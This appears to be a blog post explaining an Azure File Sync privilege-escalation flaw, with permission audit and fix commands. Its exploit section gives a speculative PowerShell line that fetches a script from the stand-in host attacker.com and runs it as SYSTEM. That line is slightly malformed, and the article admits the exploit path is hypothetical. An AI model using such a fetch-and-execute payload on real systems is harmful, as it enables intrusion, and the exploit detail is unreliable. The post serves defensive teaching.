CVE-2024-21397 - Deep Dive into the Microsoft Azure File Sync Elevation of Privilege Vulnerability

Cybersecurity professionals and IT admins often face an avalanche of new vulnerabilities. While some pass by unnoticed, others like CVE-2024-21397 deserve a deep look. This recent Microsoft Azure File Sync issue allows unauthorized users to level up their access on a system, potentially taking control. In this article, we’ll break down this vulnerability, how it works, and even show you how an attacker might exploit it — so you can defend against it.

What is CVE-2024-21397?

CVE-2024-21397 is an Elevation of Privilege (EoP) vulnerability in Microsoft Azure File Sync, a tool many organizations use to synchronize files between on-premise Windows Servers and Azure cloud storage.

The flaw lets attackers — who already have standard user access on a system — perform actions normally reserved for system administrators. This could mean accessing sensitive files, changing settings, or even taking full control of a server.

Create new admin accounts

Good news: The attacker must already have some form of local access. But in multi-user environments like shared servers, that's a real threat.

Root Cause & Technical Details

Microsoft's advisory (reference) keeps the nitty-gritty under wraps, but security researchers have pieced together the following:

Azure File Sync Service runs as a privileged service. Due to incorrect permissions set on certain files, directories, or communications (such as named pipes or service interfaces), a regular user can trick the service into running code as SYSTEM.

In practice, this is often due to over-permissive ACLs or misconfigured communication endpoints.

Here’s how a misconfigured folder might look

# See permissions on the Azure File Sync service folder
icacls "C:\Program Files\Azure\StorageSyncAgent"

# Output could show something like:
# BUILTIN\Users:(OI)(CI)(M)
# Where (M) = Modify -- bad for Users!

Any folder or file that regular users can write to — but that's utilized by a SYSTEM-level service — could be a launchpad for privilege escalation.

Example Exploit Path

Let’s say the Azure File Sync agent watches a log file and runs a process using it. If a non-admin user can replace that log file or drop an executable the service will run, they can hijack the service.

Here’s a barebones exploit concept in PowerShell

# Set up a reverse shell payload
echo "powershell -nop -c Invoke-WebRequest 'http://attacker.com/shell.ps1'; | iex" > C:\Program Files\Azure\StorageSyncAgent\SyncTrigger.bat

# Wait for the service to trigger the batch file (the service runs it as SYSTEM!)
# Now, the attacker has a SYSTEM-level shell.

NOTE: Do not run this code. It's for educational purposes only!

Defending Against CVE-2024-21397

Microsoft Patch: The safest route is to update your systems with the official fix. Microsoft addressed the problem by correcting the default permissions.

Manual Check: Audit the Azure File Sync agent’s installed directories and logs

icacls "C:\Program Files\Azure\StorageSyncAgent"

No folder or file should allow non-admins to write or modify. If you find weak permissions, remove them:

icacls "C:\Program Files\Azure\StorageSyncAgent" /remove "BUILTIN\Users"

References and Further Reading

- Microsoft Security Guide for CVE-2024-21397
- NVD Entry: CVE-2024-21397
- Azure File Sync Documentation

Conclusion

Cloud synchronization services like Azure File Sync are tempting targets for attackers, especially when running with elevated privileges. CVE-2024-21397 is another reminder: always keep servers patched, and regularly audit file and folder permissions — especially when third-party or cloud-related services are involved. This EoP might not look flashy, but it’s a powerful way for an insider (or malware) to take over your server.

Stay safe, stay aware, and patch early!

*(This analysis is original and written exclusively for this post. Do not republish without attribution.)*

Timeline

Published on: 02/13/2024 18:15:58 UTC
Last modified on: 02/23/2024 17:47:25 UTC